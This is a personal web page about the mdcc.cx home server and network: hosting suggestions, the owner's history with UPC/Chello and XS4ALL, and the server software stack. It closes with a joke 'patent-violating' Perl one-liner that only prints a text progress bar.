Evan Prodromou has summarized all reasons for choosing hosters like conuropsis and Virtual Concepts on his 9_Thermidor_CCXIV blog entry.
If you're looking for hosting, you also might want to contact Moving Art Studio / all2all in Brussels. I never did any business with them. Their website however seems to indicate these people at least have some clue.
The http://doc.mdcc.cx/ webpages are brought to you by a webserver, running on a host called stegun.mdcc.cx.
I've collected some history about the machines at the mdcc.cx site / my home network.
I bought internet connectivity from UPC Nederland from April 2000 until September 2003. Their product (which includes dhcp via a cable modem) is called Chello Broadband. (At that time they owned a monopoly on "permanent" internet connectivity in the area I live, btw.) If you buy your connectivity from chello in The Netherlands, be sure to check out COAX, "de landelijke belangenbehartiger van chello gebruikers". Other interesting link: Telekabel Gebruikers Vereniging (which does some UPC/Chello stuff too, it seems).
I've uploaded an .ini file for Thomson SpeedTouch modem.
Since September 2003, I'm using the XS4ALL account I bought in April 1999 for my connectivity. I'm much happier now :)
The mdcc.cx site uses NLnet Lab's NSD for DNS, postfix for email, and Felix von Leitner's fnord for web. Gerrit Pape's socklog is used for logging services. All services are running on the Debian GNU/Linux Operating System.
Op dit werk is een Creative Commons
Licentie van toepassing.
WARNING: Do not execute! This software violates patent EP0394160.
perl -e '$|=1;print "PROGRESSBAR\r";for($i=0;$i<11;$i++){sleep 1;print "-"}print "\n"'
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